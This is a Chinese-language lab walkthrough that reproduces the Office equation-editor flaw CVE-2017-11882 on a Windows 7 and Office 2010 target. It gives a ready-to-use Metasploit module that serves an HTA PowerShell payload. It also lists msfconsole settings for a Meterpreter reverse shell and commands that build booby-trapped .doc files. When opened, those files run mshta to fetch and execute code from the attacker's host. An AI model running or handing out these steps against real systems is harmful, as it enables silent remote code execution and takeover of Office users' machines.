Office CVE-2017-11882 复现

概述

最新 Office 的 CVE-2017-11882,完美无弹窗,无视宏,影响 office 全版本。
利用触发器 WebClient 服务从攻击者控制的 WebDav 服务器启动和执行远程文件。
该脚本使用多个 OLE 对象创建简单的文档。这些对象利用 CVE-2017-11882,从而导致连续命令执行。

复现过程

环境

  1. win7 + office2010 (1921.168.111.100)
  2. Kali(192.168.111.183)
  3. Ridter 师傅改进过的脚本,43b命令长度不能超过43 bytes,109b命令长度不能超过109 bytes。

注意点:需要考虑到受害者的office是32还是64位数的,网上poc不一定都能成功,多试几个。

基本利用

  1. 生成漏洞 doc 文件,首先简单的测试一下是否能够弹出计算器,命令如下:
1
python command43b_cve-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc
  1. 在测试机器上次文件打开:

calc

结合msf利用

PS_shell.rb

  1. 添加msf脚本PS_shell.rb,在/usr/share/metasploit-framework/modules/exploits/windows目录下新建个文件夹mytest,并命名为PS_shell.rb,代码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Office Payload Delivery',
'Description' => %q{
This module generates an command to place within
a word document, that when executed, will retrieve a HTA payload
via HTTP from an web server. Currently have not figured out how
to generate a doc.
},
'License' => MSF_LICENSE,
'Arch' => ARCH_X86,
'Platform' => 'win',
'Targets' =>
[
['Automatic', {} ],
],
'DefaultTarget' => 0,
))
end
def on_request_uri(cli, _request)
print_status("Delivering payload")
p = regenerate_payload(cli)
data = Msf::Util::EXE.to_executable_fmt(
framework,
ARCH_X86,
'win',
p.encoded,
'hta-psh',
{ :arch => ARCH_X86, :platform => 'win '}
)
send_response(cli, data, 'Content-Type' => 'application/hta')
end
def primer
url = get_uri
print_status("Place the following DDE in an MS document:")
print_line("mshta.exe \"#{url}\"")
end
end
  1. 利用 msf 生成一个powershell 脚本:
1
2
3
4
5
use exploit/windows/mytest/PS_shell
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.111.183
set uripath abc
exploit -j
  1. 生成漏洞 doc 文件,首先简单的测试一下是否能够弹出计算器,命令如下:
1
python command43b_cve-2017-11882.py -c "mshta.exe http://192.168.111.183:8080/abc" -o test.doc (命令不能超过43字节)

msf

office_ms17_11882

注意这个64位office可以成功,32位office不能成功。

  1. 利用 msf 生成一个恶意文件:
1
2
use exploit/windows/fileformat/office_ms17_11882
set LHOST 192.168.111.183
  1. 将恶意文件考出来然后运行即可。

hta_server

  1. 利用 msf 开启一个hta_server脚本:
1
2
3
4
use exploit/windows/misc/hta_server
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.111.183
set URIPATH a
  1. 生成漏洞 doc 文件,首先简单的测试一下是否能够弹出计算器,命令如下:
1
python command43b_cve-2017-11882.py -c "mshta.exe http://192.168.111.183:8080/a" -o test.doc (命令不能超过43字节)

总结

这种类型的的漏洞还是要多接触一些,拓宽渗透思路。